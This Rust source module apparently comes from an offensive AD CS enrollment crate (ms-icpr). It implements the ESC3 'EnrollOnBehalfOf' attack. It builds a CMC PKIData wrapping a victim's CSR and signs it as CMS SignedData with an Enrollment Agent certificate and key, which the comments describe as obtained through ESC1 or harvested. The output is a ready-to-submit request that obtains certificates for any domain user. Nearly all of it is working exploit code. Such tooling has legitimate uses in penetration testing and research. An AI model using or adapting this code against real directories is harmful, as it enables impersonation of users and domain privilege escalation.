ms-icpr 0.1.2

MS-ICPR / MS-WCCE client for AD CS enrollment with an ESC1 CSR SubjectAltName UPN-injection primitive
Documentation
//! **ESC3** — CMC EnrollOnBehalfOf.
//!
//! # The template shape ESC3 targets
//!
//! A template that:
//! * requires "Enrollment Agent" signature (`msPKI-RA-Application-Policies`
//!   contains `1.3.6.1.4.1.311.20.2.1`), i.e. `min_ra_signatures >= 1`,
//! * still lets the *subject* be supplied by the requester,
//! * and issues a client-auth-capable cert.
//!
//! An attacker who first obtains an Enrollment Agent cert (via ESC1 against
//! an "Enrollment Agent" template, a compromised help-desk workstation, or
//! a legitimately-issued agent cert whose key they harvested) can then use
//! that cert to enrol a certificate **on behalf of** any other user in the
//! domain — because the CA trusts the agent's signature over the wrapped
//! CSR.
//!
//! # What this module builds
//!
//! Wire-format: a CMS `SignedData` whose eContent is a CMC `PKIData`
//! carrying one `TaggedCertificationRequest`, signed by the Enrollment
//! Agent's cert.
//!
//! * [`build_cmc_pkidata`] — the inner PKIData DER.
//! * [`sign_pkidata_as_agent`] — wrap `PKIData` in a CMS `SignedData` signed
//!   by the caller's Enrollment Agent cert + RSA private key.
//! * [`build_esc3_request`] — one-shot: target CSR + agent PFX pieces →
//!   ready-to-submit CMS blob.
//!
//! Submit via [`crate::rpc::IcprClient::submit_request_esc3`] — same
//! preflight and dispatch as ESC1, but the `pctbRequest` carries the CMS
//! bytes instead of a bare PKCS#10.

use crate::der;
use crate::error::{Error, Result};
use crate::oids;

use rsa::pkcs1v15::SigningKey;
use rsa::signature::{SignatureEncoding, Signer};
use sha2::{Digest, Sha256};

use crate::csr::parse_rsa_private_key_pem;

// CMS / CMC OIDs used below. Kept here (not in oids.rs) because they're
// ESC3-local and don't need to be part of the top-level surface.
const OID_ID_SIGNED_DATA: &str = "1.2.840.113549.1.7.2";
const OID_ID_CCT_PKIDATA: &str = "1.3.6.1.5.5.7.12.2";
const OID_SHA256: &str = "2.16.840.1.101.3.4.2.1";
const OID_ID_CONTENT_TYPE: &str = "1.2.840.113549.1.9.3";
const OID_ID_MESSAGE_DIGEST: &str = "1.2.840.113549.1.9.4";
const OID_ID_SIGNING_TIME: &str = "1.2.840.113549.1.9.5";
/// Microsoft "Certificate Request Agent" EKU — the trust flag that ESC3
/// depends on the agent cert carrying.
pub const OID_ENROLLMENT_AGENT_EKU: &str = "1.3.6.1.4.1.311.20.2.1";

/// Build a CMC `PKIData` DER wrapping exactly one target CSR as a
/// `TaggedCertificationRequest` (bodyPartID `1`).
///
/// The other three sequences (`controlSequence`, `cmsSequence`,
/// `otherMsgSequence`) are emitted empty — sufficient for ESC3.
pub fn build_cmc_pkidata(target_csr_der: &[u8]) -> Result<Vec<u8>> {
    if target_csr_der.is_empty() || target_csr_der[0] != der::TAG_SEQUENCE {
        return Err(Error::Invalid(
            "target_csr_der is not an ASN.1 SEQUENCE".into(),
        ));
    }
    let body_part_id = der::integer_small(1);
    // TaggedRequest ::= CHOICE { tcr [0] IMPLICIT TaggedCertificationRequest, ... }.
    // IMPLICIT tagging REPLACES the outer SEQUENCE tag of TaggedCertificationRequest —
    // so the on-wire encoding of the [0] arm is `A0 <len> <bodyPartID-TLV> <csr-TLV>`,
    // NOT `A0 <len> 30 <inner> <bodyPartID> <csr>` (which is what an EXPLICIT wrap
    // would produce and what Windows CAs reject).
    let tcr_body: Vec<u8> = [body_part_id, target_csr_der.to_vec()].concat();
    let tcr_ctx0 = der::implicit_context(0, &tcr_body);
    let req_sequence = der::sequence(&tcr_ctx0);
    let empty_seq = der::sequence(&[]);
    // PKIData ::= SEQUENCE { control, req, cms, otherMsg }
    Ok(der::sequence(
        &[
            empty_seq.clone(),
            req_sequence,
            empty_seq.clone(),
            empty_seq,
        ]
        .concat(),
    ))
}

/// Sign an already-built `PKIData` DER as a CMS `SignedData` from the
/// Enrollment Agent (`agent_cert_der`, `agent_key_pem`).
///
/// Content type of the eContent is `id-cct-PKIData`; digest algorithm is
/// SHA-256; signature algorithm is RSA PKCS#1 v1.5 with SHA-256.
///
/// Signed attributes carried (order matters — DER SET-OF sorts them):
/// * `contentType = id-cct-PKIData`
/// * `messageDigest = SHA-256(PKIData)`
/// * `signingTime = <caller-supplied UTC seconds since 1970-01-01>`
pub fn sign_pkidata_as_agent(
    pkidata_der: &[u8],
    agent_cert_der: &[u8],
    agent_key_pem: &[u8],
    signing_time_unix_secs: i64,
) -> Result<Vec<u8>> {
    let key = parse_rsa_private_key_pem(agent_key_pem)?;

    // Certs SET-OF (implicit [0]) with the single agent cert.
    let certs_ctx0 = der::implicit_context(0, agent_cert_der);

    // sid = IssuerAndSerialNumber pulled from agent cert.
    let (issuer, serial) = parse_issuer_and_serial(agent_cert_der)?;
    let issuer_and_serial = der::sequence(&[issuer, serial].concat());

    // Signed attributes (order-sorted for DER SET-OF).
    let attr_content_type = signed_attr(OID_ID_CONTENT_TYPE, &der::oid(OID_ID_CCT_PKIDATA)?)?;
    let digest_pkidata = Sha256::digest(pkidata_der);
    let attr_message_digest =
        signed_attr(OID_ID_MESSAGE_DIGEST, &der::octet_string(&digest_pkidata))?;
    let attr_signing_time = signed_attr(
        OID_ID_SIGNING_TIME,
        &encode_utc_time(signing_time_unix_secs)?,
    )?;
    let mut attrs = vec![attr_content_type, attr_message_digest, attr_signing_time];
    // DER requires SET-OF elements sorted by encoded bytes.
    attrs.sort();
    let signed_attrs_body: Vec<u8> = attrs.into_iter().flatten().collect();
    // For signing: SET-OF with universal SET tag (0x31); on the wire: [0]
    // IMPLICIT SET OF Attribute.
    let signed_attrs_universal = der::tlv(der::TAG_SET, &signed_attrs_body);
    let signed_attrs_wire = der::implicit_context(0, &signed_attrs_body);

    // Sign the DER of the universal-SET-tagged signed-attrs.
    let signing_key = SigningKey::<Sha256>::new(key);
    let sig = signing_key
        .try_sign(&signed_attrs_universal)
        .map_err(|e| Error::Sign(format!("{e}")))?;
    let sig_bytes: Vec<u8> = sig.to_bytes().to_vec();

    let digest_algo = der::sequence(&[der::oid(OID_SHA256)?, der::null()].concat());
    let sig_algo = der::sequence(&[der::oid(oids::SHA256_WITH_RSA)?, der::null()].concat());

    // SignerInfo ::= SEQUENCE {
    //   version=1, sid=IssuerAndSerial, digestAlgo, [0] signedAttrs,
    //   signatureAlgo, signature, [1] unsignedAttrs OPTIONAL
    // }
    let signer_info = der::sequence(
        &[
            der::integer_small(1),
            issuer_and_serial,
            digest_algo.clone(),
            signed_attrs_wire,
            sig_algo,
            der::octet_string(&sig_bytes),
        ]
        .concat(),
    );
    let signer_infos = der::set(&signer_info);
    let digest_algos = der::set(&digest_algo);

    // eContentInfo ::= SEQUENCE { contentType, [0] EXPLICIT eContent OPTIONAL }
    // eContent is OCTET STRING wrapping the PKIData DER.
    let econtent = der::explicit_context(0, &der::octet_string(pkidata_der));
    let encap_content_info = der::sequence(&[der::oid(OID_ID_CCT_PKIDATA)?, econtent].concat());

    // SignedData ::= SEQUENCE {
    //   version=3, digestAlgorithms, encapContentInfo, [0] certs, signerInfos
    // }
    let signed_data_body = [
        der::integer_small(3),
        digest_algos,
        encap_content_info,
        certs_ctx0,
        signer_infos,
    ]
    .concat();
    let signed_data = der::sequence(&signed_data_body);

    // ContentInfo ::= SEQUENCE { contentType=id-signedData, [0] EXPLICIT content }
    let content_info = der::sequence(
        &[
            der::oid(OID_ID_SIGNED_DATA)?,
            der::explicit_context(0, &signed_data),
        ]
        .concat(),
    );
    Ok(content_info)
}

/// One-shot ESC3 request builder: given a target user's CSR and the
/// Enrollment Agent's cert + private key, produce the CMS SignedData blob
/// ready to hand to [`crate::rpc::IcprClient::submit_request_esc3`].
///
/// Time is passed in explicitly so tests are deterministic and callers can
/// backdate for reproducibility. Live callers pass
/// `std::time::SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as i64`.
pub fn build_esc3_request(
    target_csr_der: &[u8],
    agent_cert_der: &[u8],
    agent_key_pem: &[u8],
    signing_time_unix_secs: i64,
) -> Result<Vec<u8>> {
    let pkidata = build_cmc_pkidata(target_csr_der)?;
    sign_pkidata_as_agent(
        &pkidata,
        agent_cert_der,
        agent_key_pem,
        signing_time_unix_secs,
    )
}

fn signed_attr(oid: &str, value_der: &[u8]) -> Result<Vec<u8>> {
    // Attribute ::= SEQUENCE { type OID, values SET OF AttributeValue }
    Ok(der::sequence(
        &[der::oid(oid)?, der::set(value_der)].concat(),
    ))
}

/// Encode a UTCTime (13 chars, `YYMMDDHHMMSSZ`) from Unix seconds. Rejects
/// years outside 1950..2050 (UTCTime range).
fn encode_utc_time(unix_secs: i64) -> Result<Vec<u8>> {
    let (y, m, d, hh, mm, ss) = civil_from_unix(unix_secs)?;
    if !(1950..2050).contains(&(y as i64)) {
        return Err(Error::Invalid(format!(
            "signing time year {y} out of UTCTime range"
        )));
    }
    let yy = y % 100;
    let s = format!("{yy:02}{m:02}{d:02}{hh:02}{mm:02}{ss:02}Z");
    Ok(der::tlv(0x17, s.as_bytes()))
}

fn civil_from_unix(unix_secs: i64) -> Result<(u16, u8, u8, u8, u8, u8)> {
    let days = unix_secs.div_euclid(86_400);
    let secs = unix_secs.rem_euclid(86_400);
    let z = days + 719_468;
    let era = if z >= 0 { z } else { z - 146_096 } / 146_097;
    let doe = z - era * 146_097;
    let yoe = (doe - doe / 1460 + doe / 36_524 - doe / 146_096) / 365;
    let y = yoe + era * 400;
    let doy = doe - (365 * yoe + yoe / 4 - yoe / 100);
    let mp = (5 * doy + 2) / 153;
    let d = doy - (153 * mp + 2) / 5 + 1;
    let m = if mp < 10 { mp + 3 } else { mp - 9 };
    let y = (y + i64::from(m <= 2)) as u16;
    let hh = (secs / 3600) as u8;
    let mm = ((secs % 3600) / 60) as u8;
    let ss = (secs % 60) as u8;
    Ok((y, m as u8, d as u8, hh, mm, ss))
}

/// Pull the (Issuer Name DER, serialNumber INTEGER DER) tuple out of an
/// X.509 v3 certificate DER, matching the SignerIdentifier
/// IssuerAndSerialNumber layout the CA expects. Uses only the fields at
/// well-known positions in TBSCertificate.
fn parse_issuer_and_serial(cert_der: &[u8]) -> Result<(Vec<u8>, Vec<u8>)> {
    // Certificate ::= SEQUENCE { tbsCertificate, sigAlgo, sig }
    let (tag, outer, _) =
        der::parse_tlv(cert_der).map_err(|e| Error::Invalid(format!("cert outer: {e}")))?;
    if tag != der::TAG_SEQUENCE {
        return Err(Error::Invalid("cert is not a SEQUENCE".into()));
    }
    let (tag, tbs, _rest) =
        der::parse_tlv(outer).map_err(|e| Error::Invalid(format!("cert tbs: {e}")))?;
    if tag != der::TAG_SEQUENCE {
        return Err(Error::Invalid("tbsCertificate is not a SEQUENCE".into()));
    }
    // TBSCertificate ::= SEQUENCE {
    //   [0] EXPLICIT version DEFAULT v1,
    //   serialNumber INTEGER,
    //   signature AlgorithmIdentifier,
    //   issuer Name,
    //   validity SEQUENCE,
    //   subject Name,
    //   ...
    // }
    let mut cur = tbs;
    let (tag, first_body, rest) =
        der::parse_tlv(cur).map_err(|e| Error::Invalid(format!("tbs field 1: {e}")))?;
    if tag == der::ctx_c(0) {
        // Skip the explicit version container.
        let _ = first_body;
        cur = rest;
    } else if tag == der::TAG_INTEGER {
        // v1 cert: first field IS the serial.
        let serial_full = der::tlv(der::TAG_INTEGER, first_body);
        // signature algo
        let (_, _sig_algo, after_sig) =
            der::parse_tlv(rest).map_err(|e| Error::Invalid(format!("tbs sig algo: {e}")))?;
        let (t, issuer_body, _) =
            der::parse_tlv(after_sig).map_err(|e| Error::Invalid(format!("tbs issuer: {e}")))?;
        if t != der::TAG_SEQUENCE {
            return Err(Error::Invalid("issuer not a SEQUENCE".into()));
        }
        let issuer_der = der::sequence(issuer_body);
        return Ok((issuer_der, serial_full));
    } else {
        return Err(Error::Invalid(format!(
            "tbs first field tag 0x{tag:02x} unexpected"
        )));
    }
    // v3 path: cur now points at serialNumber.
    let (tag, serial_body, rest) =
        der::parse_tlv(cur).map_err(|e| Error::Invalid(format!("tbs serial: {e}")))?;
    if tag != der::TAG_INTEGER {
        return Err(Error::Invalid("serialNumber not INTEGER".into()));
    }
    let serial_full = der::tlv(der::TAG_INTEGER, serial_body);
    let (_, _sig_algo, after_sig) =
        der::parse_tlv(rest).map_err(|e| Error::Invalid(format!("tbs sig algo (v3): {e}")))?;
    let (t, issuer_body, _) =
        der::parse_tlv(after_sig).map_err(|e| Error::Invalid(format!("tbs issuer (v3): {e}")))?;
    if t != der::TAG_SEQUENCE {
        return Err(Error::Invalid("issuer not a SEQUENCE".into()));
    }
    let issuer_der = der::sequence(issuer_body);
    Ok((issuer_der, serial_full))
}